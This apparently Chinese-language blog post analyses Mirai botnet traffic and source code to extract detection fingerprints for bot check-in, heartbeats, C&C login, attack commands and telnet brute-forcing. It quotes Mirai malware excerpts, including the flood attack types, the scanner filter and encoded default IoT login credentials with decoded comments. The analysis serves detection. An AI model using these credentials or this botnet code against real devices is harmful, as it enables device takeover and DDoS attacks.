cdxy.me
Footprints on cyber security and Python

前两篇文章介绍了Mirai Botnet环境搭配、源码编译及修正、使用说明等。

Build Mirai botnet (I): Compile Mirai Source

Build Mirai botnet (II): Bruteforce and DDoS Attack

本篇从流量和源码两个方面分析并提取Mirai各组件指纹。

Bot上线

发送方 协议 数据
bot telnet \x00\x00\x00\x01
cnc tcp ack
bot telnet \x00
cnc tcp ack

进行三次握手之后,发送两次telnet数据,返回ack:

connect-cnc.png

源码

上线包分为三个部分,其中首次连接时id_len==0,实际只发送两个telnet包。

main.c line 263

send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); // id_len is 0
if (id_len > 0)
{
    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}

Bot心跳

  • 特征:间隔时间60s
发送方 协议 数据
bot telnet /x00/x00
cnc telnet /x00/x00
bot tcp ack

在未收到cnc的指令时,bot默认每隔60秒与cnc沟通一次。

heartbeat.png

源码中进行select操作之前等待10秒,如果select结果为0,则按6次的循环周期发送心跳包。

main.c line 193

timeo.tv_usec = 0;
timeo.tv_sec = 10; // wait 10 seconds
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
if (nfds == -1)
{
#ifdef DEBUG
    printf("select() errno = %d\n", errno);
#endif
    continue;
}
else if (nfds == 0)
{
    uint16_t len = 0;
    if (pings++ % 6 == 0) // 60 sec a loop
        send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
}

用户登入CNC

这里数据量较大,整体沟通过程如下图所示,我们按图中数据按蓝色部分分为四快,并逐块分析之。

user-login.png

block 1

cnc向bot发送三个telnet包

指纹:

发送方 协议 数据
cnc telnet .[?1049h
cnc telnet \xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22
cnc telnet data from prompt.txt

第一条数据设置命令行文字输出颜色, 第二条数据设置telnet的行为, 第三条数据是从prompt.txt中读取的用户提示信息(前两篇提到过)

源码分析

admin.go line 20

func (this *Admin) Handle() {
    this.conn.Write([]byte("\033[?1049h"))  //set message's color
    this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22")) //tell telnet how to print message

    defer func() {
        this.conn.Write([]byte("\033[?1049l"))
    }()

    headerb, err := ioutil.ReadFile("prompt.txt")
    if err != nil {
        return
    }

    header := string(headerb)
    this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1))) // send prompt data

block 2

提示用户输入用户名

发送方 协议 数据
cnc telnet \033[34;1mпользователь\033[33;3m: \033[0m

提示用户登录输入用户名, 然后user逐个字符发送用户名,cnc接收后返回。

admin.go line 37

this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) //输入用户名
username, err := this.ReadLine(false) //接受用户输入
if err != nil {
    return
}

block 3

提示用户输入密码

发送方 协议 数据
cnc telnet \033[34;1mпароль\033[33;3m: \033[0m

admin.go line 45

this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
password, err := this.ReadLine(true)
if err != nil {
    return
}

block 4

接下来我们看图中剩余的一大块蓝色部分

发送方 协议 数据
cnc telnet \033[37;1mпроверив счета... \033[31m

该数据重复发送多次,只是为了在末尾做出一个“加载中”的动态旋转效果。

this.conn.SetDeadline(time.Now().Add(120 * time.Second))
this.conn.Write([]byte("\r\n"))
spinBuf := []byte{'-', '\\', '|', '/'}
for i := 0; i < 15; i++ {
    this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
    time.Sleep(time.Duration(300) * time.Millisecond)
}

登录成功后的部分提示信息也可作为指纹

发送方 协议 数据
cnc telnet [+] DDOS
cnc telnet Wiping env libc.poison.so

block 5

cnc与用户之间的"心跳",每秒更新一次当前bot的数量。

pc-cnc-heartbeat.png

  • 特征:每秒发送一次
发送方 协议 数据
cnc telnet Bots Connected

admin.go line 95

time.Sleep(time.Second)
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
    this.conn.Close()
    break
}

CNC下发攻击指令

这里因为攻击指令很多,情况较复杂,没有固定化的指纹,先看沟通过程。

attack-command.png

双方先互换/x00/x00确认,然后cnc向bot发送一条攻击指令。

攻击指令:

按数据的构造顺序

名称 长度(Byte)
duration 4
attack_type 1
target_num 1
target_IP 4
mask 1
flag_num 1
flag 2
total_length 2

如果target_num和flag_num不为1的话,下面的IP,MASK,FLAG会按格式循环出现,如

[target_num] 02 [IP] 08 08 08 08 [MASK] 20 [IP] 07 07 07 07 [MASK] 20

图中数据对应的攻击指令为

udp 8.8.8.8 1 dport=55

相关源码位置:

attack.go line 318 func (this *Attack) Build() ([]byte, error)

攻击类型

共支持11种攻击方式(其中8已被取消)

bot/attack.h line 34

#define ATK_VEC_UDP        0  /* Straight up UDP flood */
#define ATK_VEC_VSE        1  /* Valve Source Engine query flood */
#define ATK_VEC_DNS        2  /* DNS water torture */
#define ATK_VEC_SYN        3  /* SYN flood with options */
#define ATK_VEC_ACK        4  /* ACK flood */
#define ATK_VEC_STOMP      5  /* ACK flood to bypass mitigation devices */
#define ATK_VEC_GREIP      6  /* GRE IP flood */
#define ATK_VEC_GREETH     7  /* GRE Ethernet flood */
//#define ATK_VEC_PROXY      8  /* Proxy knockback connection */
#define ATK_VEC_UDP_PLAIN  9  /* Plain UDP flood optimized for speed */
#define ATK_VEC_HTTP       10 /* HTTP layer 7 flood */

Bot发起攻击

  • 特征:存在DoS攻击流量

Bot解析CNC的指令并发起攻击

udp-attack.png

Telnet爆破

  • 特征:存在syn扫描、telnet爆破流量

Bot感染之后会自动寻找目标进行telnet爆破,其随机生成目标之后,采用tcp-syn-scan方式进行telnet探测,随后使用内置的小字典进行暴力破解,成功之后会将爆破结果发送给report服务器,同时在受害者的主机执行命令,将其感染为bot。

Mirai使用一种"改良版"的syn扫描来提高探测速度:

scanner.c line 52

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
    continue;
if (iph->daddr != LOCAL_ADDR)
    continue;
if (iph->protocol != IPPROTO_TCP)
    continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
    continue;
if (tcph->dest != source_port)
    continue;
if (!tcph->syn)
    continue;
if (!tcph->ack)
    continue;
if (tcph->rst)
    continue;
if (tcph->fin)
    continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
    continue;

其内置密码60条,包含常见弱口令及一些物联网设备的默认密码。

源码scanner.c line 124

// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc

...

这一步的沟通过程:

建立tcp握手之后,仅进行一次登录尝试,然后发送一系列命令判断是否登录成功。

tcp-brute-content.png

指纹: 连续发送以下指令可匹配Bot身份

发送方 协议 数据
bot telnet enable.
bot telnet system.
bot telnet shell.
bot telnet /bin/busybox MIRAI.

其中由于telnet设备各异,大多数请况下Bot发送到第三条指纹就被断开连接。

总结

CNC

心跳(入流量)

  • 特征:间隔时间60s
发送方 协议 数据
bot telnet /x00/x00
cnc telnet /x00/x00
bot tcp ack

用户提示(出流量)

发送方 协议 数据
cnc telnet \xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22
cnc telnet [+] DDOS
cnc telnet Wiping env libc.poison.so
cnc telnet \033[34;1mпользователь\033[33;3m: \033[0m
cnc telnet \033[34;1mпароль\033[33;3m: \033[0m

用户消息推送(出流量)

  • 特征:每秒发送一次
发送方 协议 数据
cnc telnet Bots Connected

开放端口

端口 协议 服务
23 tcp telnet
101 tcp telnet

Bot

心跳(出流量)

  • 特征:间隔时间60s
发送方 协议 数据
bot telnet /x00/x00
cnc telnet /x00/x00
bot tcp ack

telnet爆破(出流量)

  • 特征:大量、连续发送以下数据
发送方 协议 数据
bot telnet enable.
bot telnet system.
bot telnet shell.
bot telnet /bin/busybox MIRAI.

存在syn扫描及DoS流量(出流量)

Report

开放端口

端口 协议 服务
48101 tcp tcpwrapped